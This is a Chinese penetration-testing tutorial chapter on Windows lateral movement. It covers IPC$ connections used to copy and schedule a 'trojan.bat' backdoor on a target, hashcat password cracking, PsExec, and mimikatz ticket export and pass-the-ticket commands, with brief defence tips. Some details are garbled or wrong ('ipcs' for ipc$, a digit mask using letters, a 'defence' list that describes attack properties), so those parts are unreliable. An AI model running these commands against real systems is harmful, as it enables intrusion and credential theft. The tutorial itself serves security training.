内网渗透测试第五章——横向移动攻防

常用Windows远程连接和相关命令

IPC

IPC(Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过ipcs,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

利用条件

  • 开启了139、445端口
    ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445(Windows2000)端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipcs需要139、445端口的支持。

  • 管理员开启了默认共享
    默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(cS、dS、eS等)和系统目录winnt或windows(admins)。通过ipcs,可以实现对这些默认共享目录的访问。

建立连接

先建立空连接获得目标主机的用户列表

net use \\"ip"\ipc$ "密码" /user:"用户名"

获得用户名和密码后,再使用获得的账号密码加入到刚才的 net 命令,接下来把对方 c 盘映射到本地,我们会发现本地多了个Z盘,这就是目标C盘的目录

net use z: \\"ip"\ipc$

接下来上传一个trojan后门,可以直接复制,或者使用COPY命令,这样可以把 bat 文件复制到目标的 c 盘目录下

copy c: \trojan.bat \\"ip" c$

接着,执行这个后门程序,可以查看目标机器的时间net time \192.168.0.101,接着执行 at \192.168.0.101 12:00 c:\trojan.bat

net time \\"ip"
at \\"ip" 12:00 c:\trojan.bat

常见的导致 ipc$ 连接失败的原因

  1. IPC 连接是 Windows NT 及以上系统中特有的功能,由于其需要用到 Windows NT 中很多 DLL 函数,所以不能在 Windows 9.x/Me 系统中运行,也就是说只有 nt/2000/xp 才可以相互建立 ipc$ 连接, 98/me 是不能建立 ipc$ 连接的;

  2. 如果想成功的建立一个 ipc$ 连接,就需要响应方开启 ipc$ 共享,即使是空连接也是这样,如果响应方关闭了 ipc$ 共享,将不能建立连接;

  3. 连接发起方未启动 Lanmanworkstation 服务(显示名为: Workstation ):它提供网络链结和通讯,没有它发起方无法发起连接请求;

  4. 响应方未启动 Lanmanserver 服务(显示名为: Server ):它提供了 RPC 支持、文件、打印以及命名管道共享, ipc$ 依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起 ipc$ 连接;

  5. 响应方未启动 NetLogon ,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);

  6. 响应方的 139 , 445 端口未处于监听状态或被防火墙屏蔽;

  7. 连接发起方未打开 139 , 445 端口;

  8. 用户名或者密码错误:如果发生这样的错误,系统将给你类似于 ’ 无法更新密码 ’ 这样的错误提示(显然空会话排除这种错误);

  9. 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号 “” 即可;

  10. 如果在已经建立好连接的情况下对方重启计算机,那么 ipc$ 连接将会自动断开,需要重新建立连接。

错误号及其原因

错误号 原因
5 很可能你使用的用户不是管理员权限的
51 Windows 无法找到网络路径:网络有问题
53 找不到网络路径:IP 地址错误;目标未开机;目标Ianmanserver服务未启动;目标有防火墙(端口过滤)
67 找不到网络名:你的 lanmanworkstation 服务未启动或者目标删除了 ipc$
1219 提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$,请删除再连
1326 未知的用户名或错误密码:原因很明显了
1792 试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动
2242 此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码

防范

通过net share 查看自己电脑开启的共享,然后使用net share 共享名 /del 删除该共享

最保险的就是禁用IPC$服务,使用命令 net stop server ,选择 yes禁用所有的共享服务

Windows系统散列值获取分析与防范


LM Hash 和 NTLM Hash

Windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在 ntds.dit 中,加密后为散列值。
Windows操作系统中的密码一般由两部分组成,一部分为 LMHash,另一部分为 NTLM Hash。在 Windows 操作系统中,Hash的结构通常如下。

username:RID:LM-HASH:NT_HASH

LM Hash的全名为 “LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。LMHash 的生成原理在这里就不再赘述了(密码不足14字节将用0补全)。尽管LM Hash较容易被破解,但为了保证系统的兼容性,Windows只是将 LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LMHash)。LMHash明文密码被限定在14位以内,也就是说,如果要停止使用LMHash,将用户的密码设置为14位以上即可。如果LMHash被禁用了,攻击者通过工具抓取的LMHash通常为“aad3b435b51404eeaad3b435b51404ee”(表示LMHash为空值或被禁用)。
NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。NTLM Hash是基于MD4加密算法进行加密的。个人版从 Windows Vista以后,服务器版从Windows Server 2003以后,Windows操作系统的认证方式均为 NTLMHash。

使用Hashcat获取密码

下载安装

下载地址

https://github.com/hashcat/hashcat

首先通过git命令将文件下载到本地

git clone https://github.com/hashcat/hashcat.git

进入该目录

cd hashcat

编译

make

安装

make install

若在安装过程中提示缺少g++依赖

yum install gcc-c++

下载依赖后重新进行编译和安装

安装成功后会在当前目录下生成名为hashcat的可执行文件

./hashcat -h

使用

常用参数

-a 指定要使用的破解模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。
-m 指定要破解的hash类型,如果不指定类型,则默认是MD5
-o 指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
--show 显示已经破解的hash及该hash所对应的明文
--increment 启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程
--increment-min 密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用
--increment-max 密码最大长度,同上
--outfile-format 指定破解结果的输出格式id,默认是3
--username 忽略hash文件中的指定的用户名,在破解linux系统用户密码hash可能会用到
--remove 删除已被破解成功的hash
-r 使用自定义破解规则

攻击模式

# | Mode
 ===+======
  0 | Straight(字段破解)
  1 | Combination(组合破解)
  3 | Brute-force(掩码暴力破解)
  6 | Hybrid Wordlist + Mask(字典+掩码破解)
  7 | Hybrid Mask + Wordlist(掩码+字典破解)

常用的 hash id对照表(完整页在官方网站:https://hashcat.net/wiki/doku.php?id=hashcat)

- [ Hash modes ] -

      # | Name                                             | Category
  ======+==================================================+======================================
    900 | MD4                                              | Raw Hash
      0 | MD5                                              | Raw Hash
   5100 | Half MD5                                         | Raw Hash
    100 | SHA1                                             | Raw Hash
   1300 | SHA2-224                                         | Raw Hash
   1400 | SHA2-256                                         | Raw Hash
  10800 | SHA2-384                                         | Raw Hash
   1700 | SHA2-512                                         | Raw Hash
  17300 | SHA3-224                                         | Raw Hash
  17400 | SHA3-256                                         | Raw Hash
  17500 | SHA3-384                                         | Raw Hash
  17600 | SHA3-512                                         | Raw Hash
     10 | md5($pass.$salt)                                 | Raw Hash, Salted and/or Iterated
     20 | md5($salt.$pass)                                 | Raw Hash, Salted and/or Iterated
     30 | md5(utf16le($pass).$salt)                        | Raw Hash, Salted and/or Iterated
     40 | md5($salt.utf16le($pass))                        | Raw Hash, Salted and/or Iterated
   3800 | md5($salt.$pass.$salt)                           | Raw Hash, Salted and/or Iterated
   3710 | md5($salt.md5($pass))                            | Raw Hash, Salted and/or Iterated
   4010 | md5($salt.md5($salt.$pass))                      | Raw Hash, Salted and/or Iterated
   4110 | md5($salt.md5($pass.$salt))                      | Raw Hash, Salted and/or Iterated
   2600 | md5(md5($pass))                                  | Raw Hash, Salted and/or Iterated
   3910 | md5(md5($pass).md5($salt))                       | Raw Hash, Salted and/or Iterated
   4300 | md5(strtoupper(md5($pass)))                      | Raw Hash, Salted and/or Iterated
   4400 | md5(sha1($pass))                                 | Raw Hash, Salted and/or Iterated
    110 | sha1($pass.$salt)                                | Raw Hash, Salted and/or Iterated
    120 | sha1($salt.$pass)                                | Raw Hash, Salted and/or Iterated
    130 | sha1(utf16le($pass).$salt)                       | Raw Hash, Salted and/or Iterated
    140 | sha1($salt.utf16le($pass))                       | Raw Hash, Salted and/or Iterated
   4500 | sha1(sha1($pass))                                | Raw Hash, Salted and/or Iterated
   4520 | sha1($salt.sha1($pass))                          | Raw Hash, Salted and/or Iterated
   4700 | sha1(md5($pass))                                 | Raw Hash, Salted and/or Iterated
   4900 | sha1($salt.$pass.$salt)                          | Raw Hash, Salted and/or Iterated
  14400 | sha1(CX)                                         | Raw Hash, Salted and/or Iterated
   1410 | sha256($pass.$salt)                              | Raw Hash, Salted and/or Iterated
   1420 | sha256($salt.$pass)                              | Raw Hash, Salted and/or Iterated
   1430 | sha256(utf16le($pass).$salt)                     | Raw Hash, Salted and/or Iterated
   1440 | sha256($salt.utf16le($pass))                     | Raw Hash, Salted and/or Iterated
   1710 | sha512($pass.$salt)                              | Raw Hash, Salted and/or Iterated
   1720 | sha512($salt.$pass)                              | Raw Hash, Salted and/or Iterated
   1730 | sha512(utf16le($pass).$salt)                     | Raw Hash, Salted and/or Iterated
   1740 | sha512($salt.utf16le($pass))                     | Raw Hash, Salted and/or Iterated
  14000 | DES (PT = $salt, key = $pass)                    | Raw Cipher, Known-Plaintext attack
  14100 | 3DES (PT = $salt, key = $pass)                   | Raw Cipher, Known-Plaintext attack
  14900 | Skip32 (PT = $salt, key = $pass)                 | Raw Cipher, Known-Plaintext attack
  15400 | ChaCha20                                         | Raw Cipher, Known-Plaintext attack
   2500 | WPA-EAPOL-PBKDF2                                 | Network Protocols
   2501 | WPA-EAPOL-PMK                                    | Network Protocols
  16800 | WPA-PMKID-PBKDF2                                 | Network Protocols
  16801 | WPA-PMKID-PMK                                    | Network Protocols
   7300 | IPMI2 RAKP HMAC-SHA1                             | Network Protocols
   7500 | Kerberos 5 AS-REQ Pre-Auth etype 23              | Network Protocols
   8300 | DNSSEC (NSEC3)                                   | Network Protocols
  10200 | CRAM-MD5                                         | Network Protocols
  11100 | PostgreSQL CRAM (MD5)                            | Network Protocols
  11200 | MySQL CRAM (SHA1)                                | Network Protocols
  16100 | TACACS+                                          | Network Protocols
  16500 | JWT (JSON Web Token)                             | Network Protocols
    121 | SMF (Simple Machines Forum) > v1.1               | Forums, CMS, E-Commerce, Frameworks
    400 | phpBB3 (MD5)                                     | Forums, CMS, E-Commerce, Frameworks
   2811 | MyBB 1.2+                                        | Forums, CMS, E-Commerce, Frameworks
   2811 | IPB2+ (Invision Power Board)                     | Forums, CMS, E-Commerce, Frameworks
   8400 | WBB3 (Woltlab Burning Board)                     | Forums, CMS, E-Commerce, Frameworks
     11 | Joomla < 2.5.18                                  | Forums, CMS, E-Commerce, Frameworks
    400 | Joomla >= 2.5.18 (MD5)                           | Forums, CMS, E-Commerce, Frameworks
    400 | WordPress (MD5)                                  | Forums, CMS, E-Commerce, Frameworks
   2612 | PHPS                                             | Forums, CMS, E-Commerce, Frameworks
   7900 | Drupal7                                          | Forums, CMS, E-Commerce, Frameworks
     21 | osCommerce                                       | Forums, CMS, E-Commerce, Frameworks
     21 | xt:Commerce                                      | Forums, CMS, E-Commerce, Frameworks
  11000 | PrestaShop                                       | Forums, CMS, E-Commerce, Frameworks
    124 | Django (SHA-1)                                   | Forums, CMS, E-Commerce, Frameworks
  10000 | Django (PBKDF2-SHA256)                           | Forums, CMS, E-Commerce, Frameworks
     12 | PostgreSQL                                       | Database Server
    131 | MSSQL (2000)                                     | Database Server
    132 | MSSQL (2005)                                     | Database Server
   1731 | MSSQL (2012, 2014)                               | Database Server
    200 | MySQL323                                         | Database Server
    300 | MySQL4.1/MySQL5                                  | Database Server
   3100 | Oracle H: Type (Oracle 7+)                       | Database Server
    112 | Oracle S: Type (Oracle 11+)                      | Database Server
  12300 | Oracle T: Type (Oracle 12+)                      | Database Server
   8000 | Sybase ASE                                       | Database Server
  15000 | FileZilla Server >= 0.9.55                       | FTP Server
  11500 | CRC32                                            | Checksums
   3000 | LM                                               | Operating Systems
   1000 | NTLM                                             | Operating Systems
    500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating Systems
   3200 | bcrypt $2*$, Blowfish (Unix)                     | Operating Systems
   7400 | sha256crypt $5$, SHA256 (Unix)                   | Operating Systems
   1800 | sha512crypt $6$, SHA512 (Unix)                   | Operating Systems
    122 | macOS v10.4, MacOS v10.5, MacOS v10.6            | Operating Systems
   1722 | macOS v10.7                                      | Operating Systems
   7100 | macOS v10.8+ (PBKDF2-SHA512)                     | Operating Systems
  11600 | 7-Zip                                            | Archives
  12500 | RAR3-hp                                          | Archives
  13000 | RAR5                                             | Archives
  13600 | WinZip                                           | Archives
   9700 | MS Office <= 2003 $0/$1, MD5 + RC4               | Documents
   9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1  | Documents
   9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2  | Documents
   9800 | MS Office <= 2003 $3/$4, SHA1 + RC4              | Documents
   9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1    | Documents
   9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2    | Documents
   9400 | MS Office 2007                                   | Documents
   9500 | MS Office 2010                                   | Documents
   9600 | MS Office 2013                                   | Documents
  10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4)                    | Documents
  10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1       | Documents
  10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2       | Documents
  10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8)                    | Documents
  10600 | PDF 1.7 Level 3 (Acrobat 9)                      | Documents
  10700 | PDF 1.7 Level 8 (Acrobat 10 - 11)                | Documents
  99999 | Plaintext                                        | Plaintext

常见的掩码字符集

l | abcdefghijklmnopqrstuvwxyz          纯小写字母
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ          纯大写字母
d | 0123456789                  纯数字
h | 0123456789abcdef                常见小写子目录和数字
H | 0123456789ABCDEF                常见大写字母和数字
s |  !"#$%&'()*+,-./:;<=>?@[\\]^_`{
     |}~       特殊字符
a | ?l?u?d?s                    键盘上所有可见的字符
b | 0x00 - 0xff                 可能是用来匹配像空格这种密码的

下面举几个简单的例子来了解一下掩码的设置

八位数字密码:?d?d?d?d?d?d?d?d
八位未知密码:?a?a?a?a?a?a?a?a
前四位为大写字母,后面四位为数字:?u?u?u?u?d?d?d?d
前四位为数字或者是小写字母,后四位为大写字母或者数字:?h?h?h?h?H?H?H?H
前三个字符未知,中间为admin,后三位未知:?a?a?aadmin?a?a?a
6-8位数字密码:--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l
6-8位数字+小写字母密码:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h

如果我们想设置字符集为:abcd123456!@-+,这就需要用到自定义字符集这个参数了,hashcat支持用户最多定义4组字符集

--custom-charset1 [chars]等价于 -1
--custom-charset2 [chars]等价于 -2
--custom-charset3 [chars]等价于 -3
--custom-charset4 [chars]等价于 -4
在掩码中用?1、?2、?3、?4来表示。

哈希传递攻击与防范


PsExec的使用

下载地址
https://download.sysinternals.com/files/PSTools.zip

PsExec是SysInternals套件中的一款功能强大的软件。起初PsExec 主要用于大批量Windows主机的运维,在域环境下效果尤其好。但是,攻击者渐渐开始使用PsExec,通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中)。
PsExec可以在Windows Vista/NT 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016(包括64位版本)上运行。

PsExec包含在PsTools工具包中。通过PsExec,可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序。

基本原理

通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为"PSEXESVC"的二进制文件,然后,通过psexec服务运行命令,运行结束后删除服务。下面在实验环境中进行分析。
首先,需要获取目标操作系统的交互式Shell。在建立了ipcS的情况下,执行如下命令,获取System权限的Shell。

票据传递攻击分析与防范


mimikatz

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递(Pass The Ticket,PTT)。

下载链接:

https://github.com/gentilkiwi/mimikatz

使用mimikatz可以将内存中的票据导出

mimikatz "privilege::debug" "sekurlsa::tickets /export"

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等,可以使用mimikatz清除内存中的票据

kerberos::purge

将票据文件注入内存

mimikatz "kerberos::ptt "C:\ticket\[0;4f7cf][email protected]"

如何防范票据传递攻击

  • 使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误
  • 票据文件注入内存的默认有效时间为10小时
  • 在目标机器上不需要本地管理员权限即可进行票据传递

你可能感兴趣的:(windows)